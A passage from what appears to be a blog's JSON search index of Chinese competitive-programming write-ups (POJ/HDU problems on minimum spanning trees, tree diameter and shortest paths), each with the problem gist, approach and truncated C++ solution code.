; 75 q.push(make_pair(d[s],s)); 76 77 while (!q.empty()) 78 { 79 pi cur = q.","date":"2016-07-14","externalUrl":null,"permalink":"/2016/07/hdu-3873/","section":"Posts","summary":"hdu3873题目链接 题意：n个点的图。。。每个点可能被若干其他点保护。。。被保护的意思是。。。如果想访问某个点。。那么必须先访问保护该点的所有点。。。问从点1到点n的最小代价。。","tags":["dijkstra","最短路"],"title":"hdu 3873 Invade the Mars (有限制条件的最短路。。)","type":"post"},{"categories":["ACM"],"content":"poj 2031 题意：三维空间中n个球要相连。。。通路的代价是距离。。。如果球相交（切）或者包含那么不用建通路就能联系。。。问联系所有球的最小代价。。。 思路：裸的最小生成树。。。。先预处理球和球表面的距离。。。距离是负数的处理成0.。。然后mst搞之。。。不算CE的话是1A…. 1/* *********************************************** 2Author :111qqz 3Created Time :2016年07月14日 星期四 15时44分53秒 4File Name :code/poj/2031.cpp 5 ************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31const int N =105; 32int n; 33int m; 34double a[N][N]; 35int f[N]; 36int dblcmp(double d) 37{ 38 return d\u003c-eps?-1:d\u003eeps; 39} 40void init() 41{ 42 for ( int i = 1 ; i \u003c= n ; i++) f[i] = i; 43} 44struct circle 45{ 46 double x,y,z,r; 47 double dis(circle b) 48 { 49 double res = 0 ; 50 res = (x-b.x)*(x-b.x)+(y-b.y)*(y-b.y)+(z-b.z)*(z-b.z); 51 res = sqrt(res); 52 res = res - r - b.r; 53 if (dblcmp(res)\u003c0) res = 0 ; 54 return res; 55 } 56 void input() 57 { 58 scanf(\"%lf%lf%lf%lf\",\u0026x,\u0026y,\u0026z,\u0026r); 59 } 60}cir[N]; 61struct Edge 62{ 63 int u,v; 64 double w; 65 bool operator \u003c (Edge b)const 66 { 67 return w\u003cb.w; 68 } 69}edge[N*N/2]; 70int root ( int x) 71{ 72 if (x!=f[x]) f[x] = root (f[x]); 73 return f[x]; 74} 75void merge( int x,int y) 76{ 77 int rx = root (x); 78 int ry = root(y); 79 if (rx==ry) return; 80 f[rx] = ry; 81} 82int main() 83{ 84#ifndef ONLINE_JUDGE 85 freopen(","date":"2016-07-14","externalUrl":null,"permalink":"/2016/07/poj-2031/","section":"Posts","summary":"poj 2031 题意：三维空间中n个球要相连。。。通路的代价是距离。。。如果球相交（切）或者包含那么不用建通路就能联系。。。问联系所有球的最小代价。。。","tags":["mst"],"title":"poj 2031 Building a Space Station (最小生成树)","type":"post"},{"categories":["ACM"],"content":"poj1789题目链接 题意：其实题目不难理解。。。直接按照定义去搞就行了。。。 思路：由于距离在分母上。。所以要quality最大。。。就是要分母最小。。。 然后由于题目中说每一种类型的type只能由其他一种派生出来。。。我们可以把这个派生关系看做一条边。。。把每种类型看成点。。 这样就构成了一棵树。。。先o(nn7)预处理出权值。。。然后最小生成树即可。。。 这种给了坐标距离作为权值的图一定是稠密图。。。图小用kruskal糊弄一下就过去了。。。图大的话还是乖乖的用prim吧。。。 然而仍然 TLE???wtf?? 最后发现。。因为我习惯用string…但是又怕卡cin…所以做法是scanf读入字符数组然后再赋值给string.. 然而这种操作不知为何神tm慢。。。。。（求指教） 以至于：[ 要知道。。。这题时限2s啊。。。为毛能差1s多。。。也就是说时间的瓶颈完全是在读入了orz… 1/* *********************************************** 2Author :111qqz 3Created Time :2016年07月14日 星期四 00时13分04秒 4File Name :code/poj/1789.cpp 5 ************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=2E3+7; 34int n,m; 35int f[N]; 36int v[N]; 37char st[N][10]; 38//string st[N]; 39int matrix[N][N]; 40 41void init() 42{ 43 for ( int i = 0 ; i \u003c n; i++) 44 for ( int j = 0 ; j \u003cn ; j++) 45 matrix[i][j] = inf; 46} 47int getw(char * a,char * b) 48{ 49 int res = 0 ; 50 for ( int i = 0 ; i \u003c 7 ; i++) 51 if (a[i]!=b[i]) res++; 52 return res; 53} 54void prim() 55{ 56 bool flag[N]; 57 int nearest[N]; 58 int adjecent[N]; 59 int i,j; 60 int min; 61 int sum=0; 62 63 for ( int i = 0 ; i \u003c n ; i++) flag[i] = false; 64 flag[0] = true; 65 for(i = 1; i \u003c n; ++i) 66 { 67 nearest[i] = matrix[0][i]; 68 adjecen","date":"2016-07-13","externalUrl":null,"permalink":"/2016/07/poj-1789/","section":"Posts","summary":"poj1789题目链接 题意：其实题目不难理解。。。直接按照定义去搞就行了。。。 思路：由于距离在分母上。。所以要quality最大。。。就是要分母最小。。。","tags":["mst","prim"],"title":"poj 1789 Truck History (mst,prim)","type":"post"},{"categories":["ACM"],"content":"Poj2349题目链接 题意：给出n个点坐标。。。然后可以建s个卫星基站。。。有卫星基站的地方之间可以互相免费通信。。现在要建一些无线电通讯线路（不同于卫星基站，是另一种通信方式），两个点之间线路的代价是他们的距离。。。问最小距离是多少。。。使得任意两个点之间都可以直接或者间接联系。。。 思路：mst即可。。。s个卫星基站可以减少s-1条最大的边。。。多组数据。。m忘记清0.。。re一发。。。2a 1/* *********************************************** 2Author :111qqz 3Created Time :2016年07月13日 星期三 16时35分42秒 4File Name :code/poj/2349.cpp 5 ************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=505; 34int n,s; 35int m; 36int f[N]; 37struct Edge 38{ 39 int u,v; 40 double w; 41 42 bool operator \u003c (Edge b)const 43 { 44 return w\u003cb.w; 45 } 46}edge[N*N]; 47struct point 48{ 49 double x,y; 50 51 void input() 52 { 53 scanf(\"%lf%lf\",\u0026x,\u0026y); 54 } 55 56 double dis( point b) 57 { 58 double res = 0 ; 59 res = (x-b.x)*(x-b.x)+(y-b.y)*(y-b.y); 60 return sqrt(res); 61 } 62}p[N]; 63 64void init() 65{ 66 for ( int i = 1 ; i \u003c= n ; i++) f[i] = i; 67} 68 69int root ( int x) 70{ 71 if (x!=f[x]) f[x] = root (f[x]); 72 return f[x]; 73} 74 75void merge( int x,int y) 76{ 77 int rx = root(x); 78 int ry = root(y); 79 if (rx==ry) return; 80 f[rx] = ry; 81} 82int main() 83{ 84#ifndef ONLINE_JUDGE 85 freopen(\"code/in.txt\",\"r\",stdin); 86#endif 87 88 int T; 89 cin\u003e\u003eT; 90 while (T--) 91 { 92 scanf(\"%d%d\",\u0026s,\u0026n","date":"2016-07-13","externalUrl":null,"permalink":"/2016/07/poj-2349/","section":"Posts","summary":"Poj2349题目链接 题意：给出n个点坐标。。。然后可以建s个卫星基站。。。有卫星基站的地方之间可以互相免费通信。。现在要建一些无线电通讯线路（不同于卫星基站，是另一种通信方式），两个点之间线路的代价是他们的距离。。。问最小距离是多少。。。使得任意两个点之间都可以直接或者间接联系。。。","tags":["mst"],"title":"poj 2349 Arctic Network (mst)","type":"post"},{"categories":["ACM"],"content":"poj1751题目链接 题意：一开始有一些边，然后添加一些边，使得代价之和最小。 思路：先把给定的边merge掉。。然后计算其余可以添加的边。。。接下来就是最小生成树。。。 然而因为多开了一个750*750的数组空间被卡了常。。。毫无人性。。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年07月13日 星期三 19时53分29秒 4File Name :code/poj/1751.cpp 5 ************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=755; 34int n; 35int m; 36int om; 37pi ans[N*N]; 38bool conc[N*N]; 39int f[N]; 40struct Edge 41{ 42 int u,v; 43 double w; 44 45 bool operator \u003c (Edge b)const 46 { 47 return w\u003cb.w; 48 } 49}edge[N*N]; 50 51 52 53struct point 54{ 55 double x,y; 56 57 void input() 58 { 59 scanf(\"%lf%lf\",\u0026x,\u0026y); 60 } 61 62 double dis( point b) 63 { 64 double res ; 65 res = (x-b.x)*(x-b.x)+(y-b.y)*(y-b.y); 66 return sqrt(res); 67 } 68}p[N]; 69 70void init() 71{ 72 for ( int i = 1 ; i \u003c= n ; i++) f[i] = i; 73} 74 75int root ( int x) 76{ 77 if (x!=f[x] ) f[x] = root (f[x]); 78 return f[x]; 79} 80 81void merge( int x,int y) 82{ 83 int rx = root (x); 84 int ry = root (y); 85 if (rx==ry) return ; 86 f[rx] = ry; 87} 88int main() 89{ 90#ifndef ONLINE_JUDGE 91 freopen(\"code/in.txt\",\"r\",stdin); 92#endif 93 94 cin\u003e\u003en; 95 init(); 96 for ( int i = 1 ; i \u003c= n ; i++) p[i].input(); 97 cin\u003e\u003em; 98 om =","date":"2016-07-13","externalUrl":null,"permalink":"/2016/07/poj-1751-highways/","section":"Posts","summary":"poj1751题目链接 题意：一开始有一些边，然后添加一些边，使得代价之和最小。 思路：先把给定的边merge掉。。然后计算其余可以添加的边。。。接下来就是最小生成树。。。","tags":["mst"],"title":"poj 1751 Highways (最小生成树，空间卡常数有毒啊)","type":"post"},{"categories":["ACM"],"content":"hdu4607题目链接 题意：给出一棵树。。。边权都为1. m个查询。。每个查询给一个k,表示只访问k个点。。。问每次的最小路径和是多少。。。 思路：我们发现。。会使路径和变大的一个不利因素是折返。。也就是访问某景点后。。必须要回去才能继续前进。。这样的距离是2倍。。那为了使得路径和尽可能小。。我们就尽量不要访问这样的点。。。而不是这样的点一定在直径上。。。以及我们还发现。。。不在直径上的点。。 。。不管深度如何（深度的意思是说，与和该点最近的直径上的点的距离），距离的贡献是一样的。。都是2倍。。所以我们可以推出一个公式。。。如果树的直径是d,那么k\u003c=d+1的时候，答案为k-1,否则答案为d+(k-d-1)*2。。。 因为bfs的时候忘记标记起点WA了一发蠢哭。。。。2A 1/* *********************************************** 2Author :111qqz 3Created Time :2016年07月13日 星期三 14时33分29秒 4File Name :code/poj/4607.cpp 5 ************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E5+7; 34vector\u003c int \u003eedge[N]; 35int n,m; 36int d[N]; 37int lst,beg; 38bool vis[N]; 39 40void bfs( int s) 41{ 42 ms(d,0); 43 ms(vis,false); 44 45 queue\u003cint\u003eq; 46 q.push(s); 47 vis[s] = true; 48 49 while(!q.empty()) 50 { 51 int u = q.front(); 52 q.pop(); 53 // cout\u003c\u003c\"u:\"\u003c\u003cu\u003c\u003cendl; 54 int siz = edge[u].size(); 55 for ( int i = 0 ; i \u003csiz ; i++) 56 { 57 int v = edge[u][i]; 58 if (vis[v]) continue; 59 d[v] = d[u] + 1; 60 vis[v] = true; 61 q.push(v); 62 } 63 } 64} 65int main() 66{ 67#ifndef ONLINE_JUDGE 68 freopen(\"code/in.txt\",\"r\",stdin); 69#endif 70 int T; 71 cin\u003e\u003eT; 72 while (T--) 73 { 74 scanf(\"%d%d\",\u0026n,\u0026m); 75 for ( int i = 1 ; i \u003c= n ; i++) edge[i","date":"2016-07-13","externalUrl":null,"permalink":"/2016/07/hdu-4607/","section":"Posts","summary":"hdu4607题目链接 题意：给出一棵树。。。边权都为1. m个查询。。每个查询给一个k,表示只访问k个点。。。问每次的最小路径和是多少。。。 思路：我们发现。。会使路径和变大的一个不利因素是折返。。也就是访问某景点后。。必须要回去才能继续前进。。这样的距离是2倍。。那为了使得路径和尽可能小。。我们就尽量不要访问这样的点。。。而不是这样的点一定在直径上。。。以及我们还发现。。。不在直径上的点。。 。。不管深度如何（深度的意思是说，与和该点最近的直径上的点的距离），距离的贡献是一样的。。都是2倍。。所以我们可以推出一个公式。。。如果树的直径是d,那么k\u003c=d+1的时候，答案为k-1,否则答案为d+(k-d-1)*2。。。","tags":["math","树的直径"],"title":"hdu 4607 Park Visit (树的直径，推公式)","type":"post"},{"categories":["ACM"],"content":"poj3310 题目链接 题意：给出一个无向图。。。问是否满足。。联通，并且无环，并且能找到一条路径，图中所有的顶点要么在这条路径上，要么与这条路径上的顶点相邻。 思路：一个一个来。。。联通的话任意起点开始跑一遍dfs? 开一个bool数组标记走过的点。。最后扫一遍。。看是否有点没走过 环的话并查集就好。。 关键是第三个条件。。。根据题中题中的例子。。感觉如果存在这样的路径。。。那么这样的路径应该尽可能长？ 于是想到求直径。。。然后在bfs的时候顺便记录路径。。。这样我就知道直径是哪些点。。。然后对于所有点。。判断是否在这条直径上或者与之相邻就好。。。 具体做法是。。。开了一个bool数组ok标记直径上的点。。。在存边的时候用一个to[]数组表示相连。。。to[u]=v,to[v]=u… 然后只要ok[i]或者ok[to[i]]满足其一就好。。。 又是1A，蛤蛤蛤蛤蛤，我好神啊（误 1/* *********************************************** 2Author :111qqz 3Created Time :2016年07月12日 星期二 20时27分28秒 4File Name :code/poj/3310.cpp 5 ************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31const int N=305; 32int n,m; 33vector \u003c int \u003eedge[N]; 34int f[N]; 35bool vis[N]; 36bool die; 37int d[N]; 38int to[N]; 39int pre[N];//记录最长的路径。。。 40int lst,beg; 41bool ok[N]; 42struct Edge 43{ 44 int u,v; 45}e[N]; 46void init() 47{ 48 ms(to,-1); 49 ms(pre,-1); 50 ms(vis,false); //for dfs 51 ms(ok,false); 52 for ( int i = 1 ; i \u003c= n ; i++) f[i] = i; 53 for ( int i = 1 ; i \u003c= n ; i++) edge[i].clear(); 54} 55int root ( int x) 56{ 57 if (x!=f[x]) f[x] = root (f[x]); 58 return f[x]; 59} 60void merge( int x,int y) 61{ 62 int rx = root(x); 63 int ry = root(y); 64 if (rx==ry) return ; 65 f[rx] = ry; 66} 67void dfs( int u) ","date":"2016-07-13","externalUrl":null,"permalink":"/2016/07/poj-3310/","section":"Posts","summary":"poj3310 题目链接 题意：给出一个无向图。。。问是否满足。。联通，并且无环，并且能找到一条路径，图中所有的顶点要么在这条路径上，要么与这条路径上的顶点相邻。","tags":["dfs","并查集","无向图的环","树的直径","连通性"],"title":"poj 3310 Caterpillar (树的直径+并查集判环+dfs判断连通性)","type":"post"},{"categories":["ACM"],"content":"poj1679 题意：问最小生成树是否唯一。。 思路：求一下次小生成树。。。如果无解，或者次小生成树的权值之和和最小生成树的权值之和不同，那么唯一，否则不唯一。1A 1/* *********************************************** 2Author :111qqz 3Created Time :2016年07月12日 星期二 16时16分52秒 4File Name :code/poj/1679.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31const int N=105; 32int n,m; 33int ans; 34int f[N]; 35struct Edge 36{ 37 int u,v,w; 38 int in; 39 void input() 40 { 41 scanf(\"%d%d%d\",\u0026u,\u0026v,\u0026w); 42 } 43 bool operator \u003c (Edge b)const 44 { 45 return w\u003cb.w; 46 } 47}edge[N*N]; 48void init() 49{ 50 for ( int i = 1 ; i \u003c= n ; i++) f[i] = i; 51} 52int root ( int x) 53{ 54 if (x!=f[x]) f[x] = root(f[x]); 55 return f[x]; 56} 57void merge( int x,int y) 58{ 59 int rx = root(x); 60 int ry = root(y); 61 if (rx==ry) return ; 62 f[rx] = ry; 63} 64void kruskal( int k) 65{ 66 for ( int i = 1 ; i \u003c= n; i++) f[i] = i; 67 int cnt = 0 ; 68 int cur = 0 ; 69 for ( int i = 1; i \u003c= m ; i++) 70 { 71 int u = edge[i].u; 72 int v = edge[i].v; 73 int w = edge[i].w; 74 if (i==k) continue; 75 if (root(u)==root(v)) continue; 76 merge(u,v); 77 cnt++; 78 cur+=w; 79 if (cnt\u003e=n-1) break; 80 } 81 // cout\u003c\u003c\"cnt:\"\u003c\u003ccnt\u003c\u003cendl; 82 if (cnt\u003cn-1) return ; 83 ans = min(ans,cur); 84} 85int main() 86{ 87 #ifndef ONLIN","date":"2016-07-12","externalUrl":null,"permalink":"/2016/07/poj1679/","section":"Posts","summary":"poj1679 题意：问最小生成树是否唯一。。 思路：求一下次小生成树。。。如果无解，或者次小生成树的权值之和和最小生成树的权值之和不同，那么唯一，否则不唯一。1A","tags":["mst","次小生成树"],"title":"poj 1679 The Unique MST (判断mst的唯一性，次小生成树)","type":"post"},{"categories":["ACM"],"content":"hdu4514 题意：给出一个无向图。。问是否有环。。。有的话输出YES。。如果没有环的话。。输出最长路径。。 思路：无向图判环并查集就好。。。关于最长路径这里。。一开始以为就是树的直径。。。 但是需要注意的是。。。题目并没有保证图一定是联通的。。。所以gg了。。 也就是要在一个不联通的图中求最长路径。。。 没想出来。。搜了一下。。有树形dp的做法。。。有并查集的时候带权的做法。。。 不过感觉最容易想到的还是求多次直径的做法。。。 也就是。。每一个联通块求一次直径。。。取最大。。。 具体做的时候。。。加一个bool数组在bfs标记一下就好。。。 以及bfs的时候。。。由于我之后是要得到最大值。。。而图本身可能是不联通的。。所以要注意d数组初始化的问题。。。不能初始化成0x3f…（这么说来即使联通也没必要初始化成0x3f。。。。) 还有一点，这道题数据量比较大。。。用vector存图会MLE … 1/* *********************************************** 2Author :111qqz 3Created Time :2016年07月12日 星期二 14时31分09秒 4File Name :code/hdu/4514.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31const int N=1E5+7; 32const int M=1E6+7; 33int n,m; 34int f[N]; 35int lst; 36int far; 37int cnt; 38bool cyc; 39struct Edge 40{ 41 int v,w; 42 int nxt; 43}edge[M]; 44int d[N]; 45bool vis[N]; 46bool used[N]; 47int head[N]; 48int root ( int x) 49{ 50 if (x!=f[x]) f[x] = root (f[x]); 51 return f[x]; 52} 53void merge( int x,int y) 54{ 55 int rx = root(x); 56 int ry = root(y); 57 if (rx==ry) return ; 58 f[rx] = ry; 59} 60void init() 61{ 62 for ( int i = 1 ; i \u003c= n ; i++) f[i] = i; 63 ms(used,false); 64 ms(head,-1); 65} 66void bfs( int s) 67{ 68 ms(d,0); //初始化不能为正无穷。。。。因为本身就可能不联通。。取最大一定会得到正无穷。。。gg 69 ms(vis,false);","date":"2016-07-12","externalUrl":null,"permalink":"/2016/07/hdu4514/","section":"Posts","summary":"hdu4514 题意：给出一个无向图。。问是否有环。。。有的话输出YES。。如果没有环的话。。输出最长路径。。","tags":["并查集","无向图的环","树的直径"],"title":"hdu 4514 湫湫系列故事——设计风景线 (无向图并查集判环+非联通图的最长路径)","type":"post"},{"categories":["ACM"],"content":"hdu2196 题意：给出一棵树。。。求距离每个点的最远距离是多少。。。 思路：最远距离什么的。。能想到树的直径。。。但是有什么关系呢？ 我们在求树的直径的时候。。。直径的两个端点是可以知道的。。。如果再从两个端点分别做两次bfs。。。每个点取两个距离的较大值就是答案。。。。？ 1A. 1/* *********************************************** 2Author :111qqz 3Created Time :2016年07月12日 星期二 13时29分49秒 4File Name :code/hdu/2196.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31const int N=1E4+7; 32int n,m; 33vector \u003c pi \u003eedge[N]; 34int d[N]; 35int ans[N]; 36bool vis[N]; 37int beg,lst; 38int far; 39void bfs( int s) 40{ 41 ms(d,0x3f); 42 ms(vis,false); 43 queue\u003cint\u003eq; 44 q.push(s); 45 vis[s] = true; 46 d[s] = 0 ; 47 while (!q.empty()) 48 { 49 int u = q.front(); q.pop(); 50 int siz = edge[u].size(); 51 for ( int i = 0 ; i \u003c siz; i++) 52 { 53 int v = edge[u][i].fst; 54 if (vis[v]) continue; 55 vis[v] = true; 56 d[v] = d[u] + edge[u][i].sec; 57 q.push(v); 58 } 59 } 60} 61int main() 62{ 63 #ifndef ONLINE_JUDGE 64 freopen(\"code/in.txt\",\"r\",stdin); 65 #endif 66 while (~scanf(\"%d\",\u0026n)) 67 { 68 ms(ans,0); 69 for ( int i = 1 ; i \u003c= n ; i++) edge[i].clear(); 70 for ( int i = 2 ; i \u003c= n ; i++) 71 { 72 int u,v,w; 73 u = i; 74 scanf(\"%d %d\",\u0026v,\u0026w); 75 edge[v].push_back(make_pair(u,w)); 76 edge[u].push_back(make_pair(v,w)); 77 } 78 bfs(1); 79 int mx","date":"2016-07-12","externalUrl":null,"permalink":"/2016/07/hdu2196/","section":"Posts","summary":"hdu2196 题意：给出一棵树。。。求距离每个点的最远距离是多少。。。 思路：最远距离什么的。。能想到树的直径。。。但是有什么关系呢？ 我们在求树的直径的时候。。。直径的两个端点是可以知道的。。。如果再从两个端点分别做两次bfs。。。每个点取两个距离的较大值就是答案。。。。？","tags":["树形dp","树的直径"],"title":"hdu 2196  Computer (树的直径||树形dp)","type":"post"},{"categories":["ACM"],"content":"poj2631 题意：一棵树中求两个点的最远距离。。。 思路：就是求树的直径。。。裸体。。。。1A 1/* *********************************************** 2Author :111qqz 3Created Time :2016年07月12日 星期二 13时03分39秒 4File Name :code/poj/2631.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E4+7; 34int n,m; 35vector \u003c pi\u003e edge[N]; 36int lst; 37int ans; 38int d[N]; 39bool vis[N]; 40 41 42void bfs( int s) 43{ 44 ms(d,0x3f); 45 ms(vis,false); 46 queue\u003cint\u003eq; 47 q.push(s); 48 vis[s] = true; 49 d[s] = 0 ; 50 51 while (!q.empty()) 52 { 53 int u = q.front() ; q.pop(); 54 lst = u ; 55// cout\u003c\u003c\"u:\"\u003c\u003cu\u003c\u003cendl; 56 int siz = edge[u].size(); 57 58 for ( int i = 0 ; i \u003c siz ; i++) 59 { 60 int v = edge[u][i].fst; 61 if (vis[v]) continue; 62 vis[v] = true; 63 d[v] = d[u] + edge[u][i].sec; 64 ans = max(d[v],ans); 65 q.push(v); 66 } 67 } 68 69 int mx = 0; 70 for ( int i = 1 ; i \u003c= n ; i++) 71 { 72// cout\u003c\u003c\"i:\"\u003c\u003ci\u003c\u003c\" d[i]:\"\u003c\u003cd[i]\u003c\u003cendl; 73 if (d[i]\u003emx) 74 { 75 mx = d[i]; 76 lst = i ; 77 } 78 } 79 80} 81int main() 82{ 83 #ifndef ONLINE_JUDGE 84 freopen(\"code/in.txt\",\"r\",stdin); 85 #endif 86 87 int u,v,w; 88 m = 0; 89 n = 0; 90 while (scanf(\"%d%d%d\",\u0026u,\u0026v,\u0026w)!=EOF) 91 { 92 edge[u].push_back(make_pair(v,w)); 93 edge[v].push_back(make_pair(u,w)","date":"2016-07-12","externalUrl":null,"permalink":"/2016/07/poj2631/","section":"Posts","summary":"poj2631 题意：一棵树中求两个点的最远距离。。。 思路：就是求树的直径。。。裸体。。。。1A","tags":["树的直径"],"title":"poj 2631 Roads in the North (树的直径)","type":"post"},{"categories":["ACM"],"content":"poj1985 题意：求树上两点的最长距离。。。也就是传说中的树的直径。。。 思路： 两遍BFS :先任选一个起点BFS找到最长路的终点，再从终点进行BFS，则第二次BFS找到的最长路即为树的直径； 原理: 设起点为u,第一次BFS找到的终点v一定是树的直径的一个端点 证明: 1) 如果u 是直径上的点，则v显然是直径的终点(因为如果v不是的话，则必定存在另一个点w使得u到w的距离更长，则于BFS找到了v矛盾) 2) 如果u不是直径上的点，则u到v必然于树的直径相交(反证),那么交点到v 必然就是直径的后半段了 所以v一定是直径的一个端点，所以从v进行BFS得到的一定是直径长度 